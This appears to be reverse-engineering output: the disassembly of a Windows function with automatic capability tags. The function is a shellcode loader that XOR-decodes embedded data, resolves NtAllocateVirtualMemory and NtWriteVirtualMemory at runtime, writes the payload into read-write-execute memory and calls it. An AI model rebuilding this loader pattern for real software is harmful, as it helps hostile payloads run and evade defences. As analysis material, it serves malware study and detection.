Function at 0x140002660
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xa0
movaps xmmword [rsp + 0x90], xmm6
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [str.ABG]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140036338]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140036340]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140036344]
mov word [rsp + 0x4c], ax
mov edi, 1
cmp byte [0x140036345], 0
je 0x14000284b
xor ecx, ecx
cmp dword [0x14003c090], 2
jl 0x140002812
movdqa xmm5, xmmword [0x140036380]
movdqa xmm4, xmmword [0x1400363c0]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.4444444444444444O]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x34]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400363a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400363a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140002710
cmp ecx, 0x1e
jge 0x14000284b
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, edi
sub al, dl
movsx eax, al
imul edx, eax, 0x34
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1e
jl 0x140002820
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140001f20
mov rsi, rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x70], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x70]
xor r8d, r8d
lea rdx, [rsp + 0x50]
call rbx
mov ebx, eax
test eax, eax
jns 0x1400028e9
lea rdx, str.NtAllocateVirtualMemory_failed._Error:
call fcn.1400049d0
mov rcx, rax
mov edx, ebx
call fcn.140002c00
mov rcx, rax
call fcn.140004cb0
jmp 0x140002934
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], 0
mov r9, rsi
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
call rbx
test eax, eax
js 0x140002934
call qword [rsp + 0x50]
xor edi, edi
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000296c
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002967
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002998
call fcn.140008e40
mov eax, edi
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140008e20
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret
call fcn.140012074
int3